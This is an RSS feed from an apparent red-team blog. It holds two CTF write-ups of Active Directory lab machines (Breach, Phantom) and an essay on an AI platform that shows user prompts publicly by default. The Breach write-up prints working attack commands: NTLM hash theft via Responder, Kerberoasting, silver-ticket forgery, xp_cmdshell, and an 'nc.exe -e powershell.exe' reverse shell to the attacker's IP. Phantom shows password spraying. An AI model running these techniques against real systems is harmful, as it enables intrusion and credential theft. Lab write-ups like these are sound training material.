<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[MyHack]]></title><description><![CDATA[Personal website. Red teamer, hacker and security researcher sharing CTF experience, offensive security knowledge and hacking projects.]]></description><link>https://myhack.tech</link><generator>RSS for Node</generator><lastBuildDate>Tue, 07 Apr 2026 19:14:08 GMT</lastBuildDate><atom:link href="https://myhack.tech/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Breach - Writeup (Vulnlab & HTB)]]></title><description><![CDATA[INFO | Ports & Services
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|   Supported Methods: OPTIONS TR...]]></description><link>https://myhack.tech/breach-writeup-hackthebox</link><guid isPermaLink="true">https://myhack.tech/breach-writeup-hackthebox</guid><category><![CDATA[CTF Writeup]]></category><category><![CDATA[#HackTheBox]]></category><category><![CDATA[vulnlab]]></category><dc:creator><![CDATA[shkz]]></dc:creator><pubDate>Mon, 13 Oct 2025 06:15:09 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1760335239109/bfe432c0-0ac9-4b97-87aa-8a10fc5f611f.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-info-ports-amp-services">INFO | Ports &amp; Services</h2>
<pre><code class="lang-ruby">PORT     STATE SERVICE       VERSION
<span class="hljs-number">53</span>/tcp   open  domain        Simple DNS Plus
<span class="hljs-number">80</span>/tcp   open  http          Microsoft IIS httpd <span class="hljs-number">10.0</span>
<span class="hljs-params">|_http-server-header: Microsoft-IIS/10.0
|</span> http-<span class="hljs-symbol">methods:</span>
<span class="hljs-params">|   Supported Methods: OPTIONS TRACE GET HEAD POST
|</span><span class="hljs-number">_</span>  Potentially risky <span class="hljs-symbol">methods:</span> TRACE
<span class="hljs-params">|_http-title: IIS Windows Server
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-13 03:38:48Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: breach.vl, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
|</span> ms-sql-ntlm-<span class="hljs-symbol">info:</span>
<span class="hljs-params">|   10.129.161.73:1433:
|</span>     <span class="hljs-symbol">Target_Name:</span> BREACH
<span class="hljs-params">|     NetBIOS_Domain_Name: BREACH
|</span>     <span class="hljs-symbol">NetBIOS_Computer_Name:</span> BREACHDC
<span class="hljs-params">|     DNS_Domain_Name: breach.vl
|</span>     <span class="hljs-symbol">DNS_Computer_Name:</span> BREACHDC.breach.vl
<span class="hljs-params">|     DNS_Tree_Name: breach.vl
|</span><span class="hljs-number">_</span>    <span class="hljs-symbol">Product_Version:</span> <span class="hljs-number">10.0</span>.<span class="hljs-number">20348</span>
<span class="hljs-params">| ms-sql-info:
|</span>   <span class="hljs-number">10.129</span>.<span class="hljs-number">161.73</span><span class="hljs-symbol">:</span><span class="hljs-number">1433</span>:
<span class="hljs-params">|     Version:
|</span>       <span class="hljs-symbol">name:</span> Microsoft SQL Server <span class="hljs-number">2019</span> RTM
<span class="hljs-params">|       number: 15.00.2000.00
|</span>       <span class="hljs-symbol">Product:</span> Microsoft SQL Server <span class="hljs-number">2019</span>
<span class="hljs-params">|       Service pack level: RTM
|</span>       Post-SP patches <span class="hljs-symbol">applied:</span> <span class="hljs-literal">false</span>
<span class="hljs-params">|_    TCP port: 1433
|</span> ssl-<span class="hljs-symbol">cert:</span> <span class="hljs-symbol">Subject:</span> commonName=SSL_Self_Signed_Fallback
<span class="hljs-params">| Issuer: commonName=SSL_Self_Signed_Fallback
|</span> Public Key <span class="hljs-symbol">type:</span> rsa
<span class="hljs-params">| Public Key bits: 2048
|</span> Signature <span class="hljs-symbol">Algorithm:</span> sha256WithRSAEncryption
<span class="hljs-params">| Not valid before: 2025-10-13T03:32:19
|</span> Not valid <span class="hljs-symbol">after:</span>  <span class="hljs-number">2055</span>-<span class="hljs-number">10</span>-<span class="hljs-number">13</span><span class="hljs-symbol">T03:</span><span class="hljs-number">32</span><span class="hljs-symbol">:</span><span class="hljs-number">19</span>
<span class="hljs-params">| MD5:     71a0 a7d1 0415 5273 c435 a1b7 3f3c a693
|</span> SHA-<span class="hljs-number">1</span>:   <span class="hljs-number">33</span>ec <span class="hljs-number">70</span>c4 bb5c f6f9 <span class="hljs-number">70</span>f<span class="hljs-number">0</span> a974 0d5e <span class="hljs-number">8</span>f58 <span class="hljs-number">61</span>d8 0b19
<span class="hljs-params">|_SHA-256: bd49 856e b83c ee10 e888 7f2e 25f5 8c3c 1080 205c 4c16 2a57 af4b 3e37 2d87 8c2f
|</span>_ssl-<span class="hljs-symbol">date:</span> <span class="hljs-number">2025</span>-<span class="hljs-number">10</span>-<span class="hljs-number">13</span><span class="hljs-symbol">T03:</span><span class="hljs-number">39</span><span class="hljs-symbol">:</span><span class="hljs-number">41</span>+<span class="hljs-number">00</span><span class="hljs-symbol">:</span><span class="hljs-number">00</span>; 0s from scanner time.
<span class="hljs-number">3268</span>/tcp open  ldap          Microsoft Windows Active Directory LDAP (<span class="hljs-symbol">Domain:</span> breach.vl, <span class="hljs-symbol">Site:</span> Default-First-Site-Name)
<span class="hljs-number">3269</span>/tcp open  tcpwrapped
<span class="hljs-number">3389</span>/tcp open  ms-wbt-server Microsoft Terminal Services
<span class="hljs-params">| ssl-cert: Subject: commonName=BREACHDC.breach.vl
|</span> <span class="hljs-symbol">Issuer:</span> commonName=BREACHDC.breach.vl
<span class="hljs-params">| Public Key type: rsa
|</span> Public Key <span class="hljs-symbol">bits:</span> <span class="hljs-number">2048</span>
<span class="hljs-params">| Signature Algorithm: sha256WithRSAEncryption
|</span> Not valid <span class="hljs-symbol">before:</span> <span class="hljs-number">2025</span>-09-<span class="hljs-number">07</span><span class="hljs-symbol">T08:</span><span class="hljs-number">04</span><span class="hljs-symbol">:</span><span class="hljs-number">48</span>
<span class="hljs-params">| Not valid after:  2026-03-09T08:04:48
|</span> <span class="hljs-symbol">MD5:</span>     f457 <span class="hljs-number">54</span>f6 <span class="hljs-number">0073</span> <span class="hljs-number">10</span>ba ecb2 0f99 fca9 d035
<span class="hljs-params">| SHA-1:   ccc9 9cbf 5171 71cb 42e1 4951 243c e58c a229 cd36
|</span>_SHA-<span class="hljs-number">256</span>: <span class="hljs-number">27</span>dd <span class="hljs-number">4</span>b87 <span class="hljs-number">17</span>d3 <span class="hljs-number">579</span>e baa5 <span class="hljs-number">97</span>f7 b638 <span class="hljs-number">7</span>b2b ba05 ad39 fd81 d60f <span class="hljs-number">4108</span> <span class="hljs-number">3</span>a48 <span class="hljs-number">3602</span> <span class="hljs-number">55</span>f8
<span class="hljs-params">|_ssl-date: 2025-10-13T03:39:41+00:00; 0s from scanner time.
|</span> rdp-ntlm-<span class="hljs-symbol">info:</span>
<span class="hljs-params">|   Target_Name: BREACH
|</span>   <span class="hljs-symbol">NetBIOS_Domain_Name:</span> BREACH
<span class="hljs-params">|   NetBIOS_Computer_Name: BREACHDC
|</span>   <span class="hljs-symbol">DNS_Domain_Name:</span> breach.vl
<span class="hljs-params">|   DNS_Computer_Name: BREACHDC.breach.vl
|</span>   <span class="hljs-symbol">DNS_Tree_Name:</span> breach.vl
<span class="hljs-params">|   Product_Version: 10.0.20348
|</span><span class="hljs-number">_</span>  <span class="hljs-symbol">System_Time:</span> <span class="hljs-number">2025</span>-<span class="hljs-number">10</span>-<span class="hljs-number">13</span><span class="hljs-symbol">T03:</span><span class="hljs-number">39</span><span class="hljs-symbol">:</span><span class="hljs-number">01</span>+<span class="hljs-number">00</span><span class="hljs-symbol">:</span><span class="hljs-number">00</span>
<span class="hljs-number">5985</span>/tcp open  http          Microsoft HTTPAPI httpd <span class="hljs-number">2.0</span> (SSDP/UPnP)
<span class="hljs-params">|_http-title: Not Found
|</span>_http-server-<span class="hljs-symbol">header:</span> Microsoft-HTTPAPI/<span class="hljs-number">2.0</span>
Service <span class="hljs-symbol">Info:</span> <span class="hljs-symbol">Host:</span> BREACHDC; <span class="hljs-symbol">OS:</span> Windows; <span class="hljs-symbol">CPE:</span> <span class="hljs-symbol">cpe:</span>/<span class="hljs-symbol">o:</span><span class="hljs-symbol">microsoft:</span>windows
</code></pre>
<hr />
<h1 id="heading-foothold">FOOTHOLD</h1>
<p>The initial nmap scan indicates that we are dealing with a Windows AD environment. I performed a bruteforce attack on user RIDs using <code>netexec</code> to enumerate users.</p>
<pre><code class="lang-bash">nxc smb BREACHDC.breach.vl -u <span class="hljs-string">'aasdad'</span> -p <span class="hljs-string">''</span> --rid-brute
</code></pre>
<h3 id="heading-domain-users">Domain Users</h3>
<pre><code class="lang-bash">Christine.Bruce
Claire.Pope
Diana.Pope
George.Williams
Hilary.Reed
Hugh.Watts
Jasmine.Price
Jasmine.Slater
Julia.Wong
Lawrence.Kaur
staff
svc_mssql
</code></pre>
<h2 id="heading-smb-guest-allowed">SMB Guest Allowed</h2>
<p>If we connect as <strong>Guest</strong> via SMB and enumerate shares, we get the following resources:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760335422525/db73385c-a2a7-434b-86e0-3716e631886d.png" alt class="image--center mx-auto" /></p>
<p>We have a folder with read and write permissions, which is interesting.</p>
<pre><code class="lang-bash">smbclient //10.129.161.73/share --no-pass
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760335446431/2c15a190-8c44-4e9e-b969-3a9b0e30193a.png" alt class="image--center mx-auto" /></p>
<p>Since there is nothing useful inside, we can use these folders to upload our own files to steal NTLM hashes</p>
<p>The first step is to generate multiple files using <strong><em>ntlm_theft.py</em></strong>.</p>
<pre><code class="lang-bash">python3 ntlm_theft.py -g all -s 10.10.14.42 --filename testingFiles
</code></pre>
<p>Then I run responder:</p>
<pre><code class="lang-bash">responder -I tun0 -Pv
</code></pre>
<p>Finally, I upload all the files:</p>
<pre><code class="lang-bash">prompt off
mput *
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760335508659/1df64ae2-65b6-495c-941b-c0b4419c576a.png" alt class="image--center mx-auto" /></p>
<p>After a while, I receive hashes from <em>Julia.Wong</em>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760335520791/a7ae15ef-f8e2-4cd8-afa6-7949d2badb07.png" alt class="image--center mx-auto" /></p>
<p>We cracked it with Hashcat and obtained the password:</p>
<pre><code class="lang-bash">JULIA.WONG --&gt; Computer1
</code></pre>
<h2 id="heading-smb-usertxt"><strong>SMB | User.txt</strong></h2>
<p>Im now checking with the valid credentials of <strong>Julia.Wong</strong>, and in the shared resource <em>share</em>, we obtained the flag for <em>user.txt</em>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760335549390/4d327ea2-036c-45d0-81e0-3640a831bb00.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-bloodhound"><strong>Bloodhound</strong></h2>
<p>Like in any environment, I like to know where I stand and what permissions I have, so I grab all the objects from Active Directory and run them through Bloodhound for analysis.</p>
<pre><code class="lang-bash">
nxc ldap 10.129.161.73 -u <span class="hljs-string">'JULIA.WONG'</span> -p <span class="hljs-string">'Computer1'</span> --bloodhound -c all --dns-server 10.129.161.73
</code></pre>
<h2 id="heading-kerberoast-svcmssql"><strong>Kerberoast | SVC_MSSQL</strong></h2>
<p>By analyzing bloodhound, we can discover that the account <em>SVC_MSSQL</em> appears to be kerberoastable.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760335589906/5bb40056-bece-4eca-8647-7faa6c520f82.png" alt class="image--center mx-auto" /></p>
<p>We carried out the kerberoast attack:</p>
<pre><code class="lang-bash">targetedKerberoast.py -v --dc-ip 10.129.161.73 -d breach.vl -u JULIA.WONG -p <span class="hljs-string">'Computer1'</span>
</code></pre>
<p>Finally we cracked it with hashcat:</p>
<pre><code class="lang-bash">svc_mssql -&gt; Trustno1
</code></pre>
<h2 id="heading-mssqlsvc"><strong>MSSQLSvc</strong></h2>
<p>Having valid credentials, we can connect to the SQL service that we observed during the initial scan with nmap:</p>
<pre><code class="lang-bash">mssqlclient.py 10.129.161.73/svc_mssql:<span class="hljs-string">'Trustno1'</span>@10.129.161.73 -windows-auth
</code></pre>
<p>Even though we've compromised the account, we realize we don't have enough permissions to run commands. We can list stuff with <em>xp_dirtree</em>, but we need command execution to make an real impact:</p>
<pre><code class="lang-plaintext">[%] exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;
ERROR(BREACHDC\SQLEXPRESS): Line 105: User does not have permission to perform this action.
ERROR(BREACHDC\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement.
ERROR(BREACHDC\SQLEXPRESS): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
ERROR(BREACHDC\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement.
</code></pre>
<h1 id="heading-silver-ticket-abuse"><strong>Silver Ticket Abuse</strong></h1>
<p>We can abuse silver tickets to escalate privileges. First, we obtain the Domain SID:</p>
<pre><code class="lang-bash">lookupsid.py <span class="hljs-string">'breach.vl/svc_mssql@10.129.161.73'</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760335665841/fe9fbbcc-da52-4260-8d24-a87c3fae7911.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p>S-1-5-21-2330692793-3312915120-706255856</p>
</blockquote>
<p>Next, we generate the NTHASH of the password of the service account that we control:</p>
<pre><code class="lang-bash">iconv -f ASCII -t UTF-16LE &lt;(<span class="hljs-built_in">printf</span> <span class="hljs-string">"Trustno1"</span>) | openssl dgst -md4
</code></pre>
<blockquote>
<p>MD4(stdin)= 69596c7aa1e8daee17f8e78870e25a5c</p>
</blockquote>
<p>Finally, we generated the silver ticket:</p>
<pre><code class="lang-bash">ticketer.py -nthash 69596c7aa1e8daee17f8e78870e25a5c -domain-sid S-1-5-21-2330692793-3312915120-706255856 -dc-ip 10.10.77.106 -spn mssql/breachdc.breach.vl -domain breach.vl Administrator
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760335686933/47ca1005-5581-4376-bdd8-97f22f7ec2ea.png" alt /></p>
<p>We export the ticket and reconnect to the MSSQL service:</p>
<pre><code class="lang-bash">mssqlclient.py -k BREACHDC.breach.vl
</code></pre>
<p>We will see that this time we are <em>Administrator</em>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760335712057/2f90afe5-4231-4ba9-9cbf-9754923e9969.png" alt class="image--center mx-auto" /></p>
<p>We enable xp_cmdshell and then we can run any command on the system, we will get a revshell, in my case an encoded powershell:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760335725074/d21e4965-12f0-425b-9f60-46aa59b1e7a3.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760335727416/d3e73833-88fd-4ae6-9ede-eeccc913f430.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-privesc-to-administrator"><strong>PrivEsc to Administrator</strong></h1>
<p>Once inside the system, escalation is very easy.. we take advantage of the following privilege with any Potato of preference:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760335749384/bb1cc505-e6ef-4d52-9dd6-bca590d4e225.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">.\god.exe -cmd <span class="hljs-string">"nc.exe -e powershell.exe 10.10.14.42 8000"</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760335773956/e5232448-57fc-4179-9058-919ae37e6fa0.png" alt class="image--center mx-auto" /></p>
<p>Finally, we got the <strong>root.txt</strong> and pwned!</p>
]]></content:encoded></item><item><title><![CDATA[Public by Default: when your private prompts become a showcase]]></title><description><![CDATA[In the Cybersecurity world, paranoia is part of daily life.
We usually talk about flaws in terms of exploits, payloads, or bypasses. However, not all failures are due to bugs. Sometimes, it's the product design itself, which can be even more alarming...]]></description><link>https://myhack.tech/public-by-default-when-your-private-prompts-become-a-showcase</link><guid isPermaLink="true">https://myhack.tech/public-by-default-when-your-private-prompts-become-a-showcase</guid><category><![CDATA[IA]]></category><category><![CDATA[exposed]]></category><category><![CDATA[privacy]]></category><dc:creator><![CDATA[shkz]]></dc:creator><pubDate>Thu, 18 Sep 2025 08:33:13 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1758178629814/63400fd8-4f5c-4cad-8b30-14cf1865f719.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In the Cybersecurity world, paranoia is part of daily life.</p>
<p>We usually talk about flaws in terms of exploits, payloads, or bypasses. However, not all failures are due to bugs. Sometimes, it's the product design itself, which can be even more alarming.</p>
<p>While I was bored and curiously browsing around, I stumbled on an <strong>AI platform</strong> that offers several free but limited AI engines. The strange part is an intentional endpoint to <em>discover</em>, a feed that exposes other users queries and prompts like social media posts.</p>
<h2 id="heading-the-catch"><strong>The catch..</strong></h2>
<p>By default every conversation is <strong>public</strong>. <strong>There is an option to set each chat as private, but since that is “not the default”, most users never change it.</strong> That small design choice means the majority of prompts remain exposed by default.</p>
<p>With real cases it becomes clear: what looks like a personal or harmless query can end up leaking photos, credentials, or sensitive situations. Defaults matter, and in this case the default setting is exactly what puts privacy at risk.</p>
<h1 id="heading-real-cases">Real cases</h1>
<h3 id="heading-case-1-personal-relationship-coaching-with-private-photos">Case 1: Personal relationship coaching with private photos</h3>
<p>A user uploaded <em>.png image,</em> asking the AI to help him “<em>bag this girl 100%</em>” Both the photo and the request are exposed to the world.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758184151381/4383eca7-a810-43ab-a574-aa181c62a5b0.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-case-2-academic-dishonesty-with-multiple-photos">Case 2: Academic dishonesty with multiple photos</h3>
<p>Another prompt contained eight images of exam questions with the request to code the solution in C++. Not only an integrity issue but also private exam content, now public.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758184032242/9d694c52-69bc-450b-ae76-336d44809bd9.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-case-3-api-token-and-cookie-exposure">Case 3: API token and cookie exposure</h3>
<p>One of the most critical: a full <code>curl</code> request with <strong>Bearer token</strong> and <strong>cookies</strong>. Anyone could reuse that for unauthorized access. Classic example of sensitive credentials leaking by design.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758184185076/d30e126e-d887-4a19-98c2-0e1279e2bf71.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-case-4-facial-rating-and-body-shaming-risk">Case 4: Facial rating and body shaming risk</h3>
<p>A link to a <strong>ChatGPT share</strong> where a user asks for a full brutal breakdown of their looks: jawline, eyes, hair. A privacy nightmare turned into potential public shaming.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758178577016/55d0854a-1699-4b73-9d19-534fa3c50203.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758184288639/b52d1cc5-bd1a-47f6-9684-966e60b8382c.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-case-5-self-image">Case 5: Self image</h3>
<p>Another photo uploaded by someone asking if their face was “Really bad?”.. This highlights how exposed and fragile people can be when they don't realize their content is public.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758178763208/a86ad2cd-9a8d-453b-b2df-b1a7fc8a9bf6.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-case-6-blog-xml-import-request-exposing-admin-emails">Case 6: Blog XML import request exposing admin emails</h3>
<p>A user uploaded a Blogspot XML backup and asked for help importing posts and comments into WordPress. The file contained full post content, comments, dates, and also exposed administrator emails..</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758180907822/522fb8af-5c5d-4ad7-82f6-f8a3f493ade6.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-case-7-database-configs-and-credentials-in-plain-sight">Case 7: Database configs and credentials in plain sight</h3>
<p>Another case revealed PostgreSQL configuration (<code>pg_hba.conf</code>), <code>.env</code> variables including <code>DB_USER</code> and <code>DB_PASS</code>, and a Flask app snippet showing how the database is accessed.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758181137906/c57233a6-ee14-41dd-8d3d-0efafca32238.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758181189406/8782dde3-fbf6-4b53-9973-43396bcdc4d6.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758181217360/e3bed502-c5b6-4a4a-bbb0-6b609e295c97.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-case-8-feedback-document-exposing-worker-identity-and-internal-training-instructions">Case 8: Feedback document exposing worker identity and internal training instructions</h3>
<p>A user uploaded a <em>.pdf file</em> with instructions for using the AI as a personal assistant to maximize earnings. Inside the document, sensitive details were visible, including personal identifiers, worker IDs, country of origin, and internal training/probation guidelines. It even contained instructions on how to communicate with the company’s feedback department.</p>
<p><strong>Impact</strong>: The document combines personally identifiable information with internal company processes. If exposed, this data could be used for impersonation, phishing, or targeted attacks against both the individual and the organization…</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758183198414/5b89b260-08d7-4b8a-a33a-edee90b6a0d3.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758183292519/ce83ae3a-1906-472b-ae8a-9ed06fdbc065.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-the-problem-isnt-technical">The problem isn't technical</h2>
<p>This isn't an SQLi or XSS. It's worse: <strong>a leak by default design</strong>. When the default is “public,” these risks explode:</p>
<ol>
<li><p><strong>Doxing</strong>: personal details exposed unintentionally.</p>
</li>
<li><p><strong>Scraping</strong>: easy to build massive datasets from prompts and images.</p>
</li>
<li><p><strong>Legal trouble</strong>: copyrighted, sensitive, or client data leaking.</p>
</li>
<li><p><strong>Emotional damage</strong>: users publishing personal photos or thoughts unknowingly.</p>
</li>
</ol>
<h2 id="heading-times-are-changing">Times are changing</h2>
<p>Let's be real: today people use ChatGPT or other AI tools every single day, every single minute. It's part of work, school, dating, even daily routine. And with that constant flow of prompts, the line between private and public is thinner than ever.</p>
<p>This post isn't about exposing one site. It's about showing that with just a bit of casual browsing in the so called “legal internet,” you can stumble on free alternatives that expose all your data. It's the classic case of cheap comes expensive. Or worse, the careless use of a tool by someone who doesn't know their content is going straight into a showcase.</p>
<p>At the end of the day, it feels like private data doesn't matter as much anymore when the priority is to get fast answers or save a few bucks.</p>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>You don't need an exploit to break privacy. Sometimes bad design is enough, and in cases like this it even makes you wonder if the whole thing is just a scam hidden behind a shiny AI interface. Either way it's a reminder that defaults matter.</p>
<p>If you use these tools, treat every prompt as public unless you make it private yourself. Always check the small print, look for the settings, and don’t assume privacy is automatic. If you share sensitive information, wrap it in <code>&lt;REDACTED&gt;</code> tags or remove details that could expose you.</p>
<p>If you're building these tools, don’t leave privacy as an optional checkbox. Make private truly private, and make it the default.</p>
<p>Because privacy doesn’t only break with payloads, it breaks with careless product choices and with platforms that might care more about quick growth than protecting people.</p>
]]></content:encoded></item><item><title><![CDATA[Phantom - Writeup (Vulnlab & HTB)]]></title><description><![CDATA[INFO: Ports and Services
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
32...]]></description><link>https://myhack.tech/phantom-writeup-vulnlab</link><guid isPermaLink="true">https://myhack.tech/phantom-writeup-vulnlab</guid><category><![CDATA[vulnlab]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[Writeup]]></category><category><![CDATA[#HackTheBox]]></category><dc:creator><![CDATA[shkz]]></dc:creator><pubDate>Thu, 21 Aug 2025 07:04:01 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1755750937548/4a74e835-84fc-44a8-9b0b-d4d9a5cf3db5.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-info-ports-and-services">INFO: Ports and Services</h2>
<pre><code class="lang-bash">53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server
5357/tcp open  wsdapi
5985/tcp open  wsman
</code></pre>
<p>My initial recon made it clear.. i was dealing with a Windows Active Directory environment. Classic AD ports were open.</p>
<hr />
<h1 id="heading-foothold">FOOTHOLD</h1>
<p>I used a RID brute force attack over SMB to dump valid domain accounts. This technique allowed me to enumerate user accounts by exploiting the predictable nature of RID sequences.</p>
<pre><code class="lang-bash">nxc smb phantom.vl -u <span class="hljs-string">'shkz'</span> -p <span class="hljs-string">''</span> --rid-brute
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755746102837/a645f308-b15b-4238-b887-02111409d81e.png" alt class="image--center mx-auto" /></p>
<p>I got back a huge list of users, perfect for spraying later.</p>
<h2 id="heading-smb-guest-access">SMB Guest Access</h2>
<p>While poking around SMB shares as <mark>guest</mark>, I got a <strong>PDF encoded in base64</strong> inside <mark>Public</mark> folder.</p>
<pre><code class="lang-bash">smbclient.py DC.phantom.vl/<span class="hljs-string">'guest'</span>@10.129.229.112
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755746522728/efb8a6f5-9f6e-445a-98e1-50d62a1b5dcc.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">"&lt;snipped&gt;...IDI1IDAgUgovSW5mbyAyNiAwIFIKL0lEIFsgPEM0QUQ2NUU5NEZCOTk3OTYx
MTU1Q0FGRkQ2QUMyQjUzPgo8QzRBRDY1RTk0RkI5OTc5NjExNTVDQUZGRDZBQzJCNTM+IF0KL0Rv
Y0NoZWNrc3VtIC8wQTM4N0RBQjYxNTBCMkRCMTg0MzJGMDJENzY2MDQxMwo+PgpzdGFydHhyZWYK
OTQxNAolJUVPRgo="</span> |base64 -d &gt; out.pdf
</code></pre>
<p>Upon decoding the PDF, I found hardcoded credentials inside the file. This discovery was crucial for the next step, which involved a password spraying attack using the user list I had previously obtained.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755746902962/a0fe6ed9-a831-4443-935c-675702e67d23.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">nxc smb 10.129.229.112 -u users.txt  -p <span class="hljs-string">'Ph4nt0m@5t4rt!'</span> --continue-on-success --no-bruteforce
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755747790136/2a078046-5cb2-49e9-84cb-868a410ea8e9.png" alt class="image--center mx-auto" /></p>
<p>We’ve got valid creds for user <code>ibryant</code>, the first thing I usually do is feed the data into BloodHound to get some context on the user we’re dealing with and where we stand. That way I can see where we might move laterally and get a general map of the AD.</p>
<pre><code class="lang-bash">bloodhound-python -u <span class="hljs-string">'ibryant'</span> -p <span class="hljs-string">'Ph4nt0m@5t4rt!'</span> -ns 10.129.229.112 -d <span class="hljs-string">'phantom.vl'</span> -c all --dns-tcp --zip
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755753363125/e908f108-ba6a-4bf9-826b-544b01b897c4.png" alt class="image--center mx-auto" /></p>
<p>Meanwhile, I continued exploring the user’s shared resources over SMB, looking for additional information or files that could aid in further exploitation.</p>
<pre><code class="lang-bash">nxc smb 10.129.229.112 -u ibryant -p <span class="hljs-string">'Ph4nt0m@5t4rt!'</span> --shares
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755748001272/1989b870-7d4a-48c6-977a-2912ea9ef9a7.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-smb-ibryant">SMB - ibryant</h2>
<p>I connect to the shared resource called <code>Departments Share</code> via SMB:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755748227285/96e6d644-dd4a-4475-9fa0-a5e731809955.png" alt class="image--center mx-auto" /></p>
<p>As a summary of all the folders, here’s what we’ve got:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755748679499/11eb33a7-bfed-4f1e-9697-449de3177377.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-veracrypt-backup-file">VeraCrypt Backup File</h2>
<p>I navigated through the SMB share into the <code>IT\Backup</code> folder. Once inside, I listed the contents and found a file called <code>IT_BACKUP_201123.hc</code>. Judging by the extension, it’s most likely a <strong>VeraCrypt/TrueCrypt container</strong>.</p>
